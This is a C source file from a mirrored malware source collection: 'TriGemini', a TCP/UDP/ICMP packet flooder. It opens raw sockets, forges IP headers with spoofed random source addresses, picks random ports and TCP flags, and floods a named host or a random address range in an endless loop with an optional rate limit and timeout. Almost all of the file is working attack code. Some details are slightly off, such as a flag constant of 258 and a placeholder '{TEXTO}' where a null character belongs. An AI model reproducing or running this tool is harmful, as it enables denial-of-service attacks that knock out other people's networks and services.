mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
379 lines
12 KiB
C
379 lines
12 KiB
C
/*
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* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <netdb.h>
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#include <sys/types.h>
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#ifdef F_PASS
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#include <sys/stat.h>
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#endif
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#include <netinet/in_systm.h>
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#include <sys/socket.h>
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#include <string.h>
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#include <time.h>
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#include <signal.h>
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#ifndef __USE_BSD
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# define __USE_BSD
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#endif
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#ifndef __FAVOR_BSD
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# define __FAVOR_BSD
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#endif
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#include <netinet/in.h>
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#include <netinet/ip.h>
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#include <netinet/tcp.h>
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#include <netinet/udp.h>
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#include <netinet/ip_icmp.h>
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#include <arpa/inet.h>
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#ifdef LINUX
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# define FIX(x) htons(x)
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#else
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# define FIX(x) (x)
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#endif
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#define TCP_ACK 1
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#define TCP_FIN 2
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#define TCP_SYN 4
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#define TCP_RST 8
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#define UDP_CFF 16
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#define ICMP_ECHO_G 32
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#define TCP_NOF 64
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#define TCP_URG 128
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#define TCP_PSH 258
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#define TCP_ECE 512
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#define TCP_CWR 1024
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#define TH_NOF 0x0
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#define TH_ECE 0x40
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#define TH_CWR 0x80
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#define TCP_ATTACK() (a_flags & TCP_ACK ||\
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a_flags & TCP_FIN ||\
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a_flags & TCP_SYN ||\
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a_flags & TCP_RST ||\
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a_flags & TCP_NOF ||\
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a_flags & TCP_PSH ||\
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a_flags & TCP_ECE ||\
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a_flags & TCP_CWR ||\
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a_flags & TCP_URG )
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#define UDP_ATTACK() (a_flags & UDP_CFF)
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#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
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#define CHOOSE_DST_PORT() dst_sp == 0 ?\
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random () :\
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htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
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#define CHOOSE_SRC_PORT() src_sp == 0 ?\
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random () :\
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htons(src_sp + (random() % (src_ep -src_sp +1)));
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#define SEND_PACKET() if (sendto(rawsock,\
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&packet,\
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(sizeof packet),\
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0,\
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(struct sockaddr *)&target,\
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sizeof target) < 0) {\
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perror("sendto");\
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exit(-1);\
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}
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#define BANNER_CKSUM 54018
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//#define BANNER_CKSUM 723
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u_long lookup(const char *host);
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unsigned short in_cksum(unsigned short *addr, int len);
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static void inject_iphdr(struct ip *ip, u_char p, u_char len);
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char *class2ip(const char *class);
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static void send_tcp(u_char th_flags);
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static void send_udp(u_char garbage);
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static void send_icmp(u_char garbage);
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char *get_plain(const char *crypt_file, const char *xor_data_key);
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static void usage(const char *argv0);
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u_long dstaddr;
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u_short dst_sp, dst_ep, src_sp, src_ep;
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char *src_class, *dst_class;
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int a_flags, rawsock;
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struct sockaddr_in target;
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struct pseudo_hdr {
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u_long saddr, daddr;
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u_char mbz, ptcl;
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u_short tcpl;
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};
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struct cksum {
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struct pseudo_hdr pseudo;
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struct tcphdr tcp;
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};
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struct {
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int gv;
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int kv;
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void (*f)(u_char);
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} a_list[] = {
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{ TCP_ACK, TH_ACK, send_tcp },
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{ TCP_FIN, TH_FIN, send_tcp },
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{ TCP_SYN, TH_SYN, send_tcp },
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{ TCP_RST, TH_RST, send_tcp },
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{ TCP_NOF, TH_NOF, send_tcp },
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{ TCP_URG, TH_URG, send_tcp },
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{ TCP_PSH, TH_PUSH, send_tcp },
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{ TCP_ECE, TH_ECE, send_tcp },
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{ TCP_CWR, TH_CWR, send_tcp },
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{ UDP_CFF, 0, send_udp },
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{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
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{ 0, 0, (void *)NULL },
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};
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int
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main(int argc, char *argv[])
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{
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int n, i, on = 1;
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int b_link;
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#ifdef F_PASS
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struct stat sb;
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#endif
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unsigned int until;
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a_flags = dstaddr = i = 0;
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dst_sp = dst_ep = src_sp = src_ep = 0;
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until = b_link = -1;
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src_class = dst_class = NULL;
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while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
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char *p;
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switch (n) {
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case 'T':
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switch (atoi(optarg)) {
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case 0: a_flags |= TCP_ACK; break;
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case 1: a_flags |= TCP_FIN; break;
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case 2: a_flags |= TCP_RST; break;
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case 3: a_flags |= TCP_SYN; break;
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case 4: a_flags |= TCP_URG; break;
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case 5: a_flags |= TCP_PSH; break;
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case 6: a_flags |= TCP_ECE; break;
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case 7: a_flags |= TCP_CWR; break;
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}
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break;
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case 'U':
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a_flags |= UDP_CFF;
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break;
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case 'I':
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a_flags |= ICMP_ECHO_G;
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break;
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case 'N':
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a_flags |= TCP_NOF;
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break;
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case 's':
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src_class = optarg;
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break;
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case 'h':
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dstaddr = lookup(optarg);
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break;
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case 'd':
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dst_class = optarg;
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i = 1;
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break;
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case 'p':
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if ( (p = (char *) strchr(optarg, ',')) == NULL)
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usage(argv[0]);
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dst_sp = atoi(optarg);
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dst_ep = atoi(p +1);
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break;
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case 'q':
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if ( (p = (char *) strchr(optarg, ',')) == NULL)
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usage(argv[0]);
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src_sp = atoi(optarg);
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src_ep = atoi(p +1);
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break;
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case 'l':
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b_link = atoi(optarg);
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if (b_link <= 0 || b_link > 100)
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usage(argv[0]);
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break;
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case 't':
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until = time(0) +atoi(optarg);
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break;
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default:
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usage(argv[0]);
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break;
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}
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}
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if ( (!dstaddr && !i) ||
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(dstaddr && i) ||
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(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
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(src_sp != 0 && src_sp > src_ep) ||
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(dst_sp != 0 && dst_sp > dst_ep))
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usage(argv[0]);
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srandom(time(NULL) ^ getpid());
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if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
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perror("socket");
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exit(-1);
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}
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if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
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(char *)&on, sizeof(on)) < 0) {
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perror("setsockopt");
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exit(-1);
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}
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target.sin_family = AF_INET;
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for (n = 0; ; ) {
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if (b_link != -1 && random() % 100 +1 > b_link) {
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if (random() % 200 +1 > 199)
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usleep(1);
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continue;
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}
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for (i = 0; a_list[i].f != NULL; ++i) {
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if (a_list[i].gv & a_flags)
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a_list[i].f(a_list[i].kv);
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}
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if (n++ == 100) {
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if (until != -1 && time(0) >= until) break;
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n = 0;
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}
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}
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exit(0);
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}
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u_long
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lookup(const char *host)
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{
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struct hostent *hp;
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if ( (hp = gethostbyname(host)) == NULL) {
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perror("gethostbyname");
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exit(-1);
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}
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return *(u_long *)hp->h_addr;
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}
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#define RANDOM() (int) random() % 255 +1
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char *
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class2ip(const char *class)
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{
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static char ip[16];
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int i, j;
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for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
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if (class[i] == '.')
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++j;
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switch (j) {
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case 0:
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sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
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break;
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case 1:
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sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
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break;
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case 2:
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sprintf(ip, "%s.%d", class, RANDOM());
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break;
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default: strncpy(ip, class, 16);
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break;
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}
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return ip;
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}
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unsigned short
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in_cksum(unsigned short *addr, int len)
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{
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int nleft = len;
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int sum = 0;
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unsigned short *w = addr;
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unsigned short answer = 0;
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while (nleft > 1) {
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sum += *w++;
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nleft -= 2;
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}
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if (nleft == 1) {
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*(unsigned char *) (&answer) = *(unsigned char *)w;
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sum += answer;
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}
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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answer = ~sum;
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return answer;
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}
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static void
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inject_iphdr(struct ip *ip, u_char p, u_char len)
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{
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ip->ip_hl = 5;
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ip->ip_v = 4;
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ip->ip_p = p;
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ip->ip_tos = 0x08;
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ip->ip_id = random();
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ip->ip_len = len;
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ip->ip_off = 0;
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ip->ip_ttl = 255;
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ip->ip_dst.s_addr = dst_class != NULL ?
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inet_addr(class2ip(dst_class)) :
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dstaddr;
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ip->ip_src.s_addr = src_class != NULL ?
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inet_addr(class2ip(src_class)) :
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random();
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target.sin_addr.s_addr = ip->ip_dst.s_addr;
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}
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static void
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send_tcp(u_char th_flags)
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{
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struct cksum cksum;
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struct packet {
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struct ip ip;
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struct tcphdr tcp;
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} packet;
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memset(&packet, 0, sizeof packet);
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inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
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packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
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cksum.pseudo.daddr = dstaddr;
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cksum.pseudo.mbz = 0;
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cksum.pseudo.ptcl = IPPROTO_TCP;
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cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
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cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
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packet.tcp.th_win = random();
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packet.tcp.th_seq = random();
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packet.tcp.th_ack = random();
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packet.tcp.th_flags = th_flags;
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packet.tcp.th_off = 5;
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packet.tcp.th_urp = 0;
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packet.tcp.th_sport = CHOOSE_SRC_PORT();
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packet.tcp.th_dport = CHOOSE_DST_PORT();
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cksum.tcp = packet.tcp;
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packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
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SEND_PACKET();
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}
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static void
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send_udp(u_char garbage)
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{
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struct packet {
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struct ip ip;
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struct udphdr udp;
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} packet;
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memset(&packet, 0, sizeof packet);
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inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
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packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
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packet.udp.uh_sport = CHOOSE_SRC_PORT();
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packet.udp.uh_dport = CHOOSE_DST_PORT();
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packet.udp.uh_ulen = htons(sizeof packet.udp);
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packet.udp.uh_sum = 0;
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SEND_PACKET();
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}
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static void
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send_icmp(u_char gargabe)
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{
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struct packet {
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struct ip ip;
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struct icmp icmp;
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} packet;
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memset(&packet, 0, sizeof packet);
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inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
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packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
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packet.icmp.icmp_type = ICMP_ECHO;
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packet.icmp.icmp_code = 0;
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packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
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SEND_PACKET();
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}
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const char *banner = "TriGemini. [TCP/UDP/ICMP Packet flooder]";
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static void
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usage(const char *argv0)
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{
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printf("%s \n", banner);
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printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
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printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
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printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
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printf(" -T TCP attack \e[1;37m[\e[0m0:ACK 1: FIN\e[1;37m]\e[0m\n");
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printf(" \e[1;37m[\e[0m2:RST 3: SYN\e[1;37m]\e[0m\n");
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printf(" \e[1;37m[\e[0m4:URG 5:PUSH\e[1;37m]\e[0m\n");
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printf(" \e[1;37m[\e[0m6:ECE 7: CWR\e[1;37m]\e[0m\n");
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printf(" -h target host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
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printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
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printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
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printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
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printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
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printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
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printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
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printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -T5 -T6 -T7 -U -I] -h -t\n", argv0);
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exit(-1);
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} |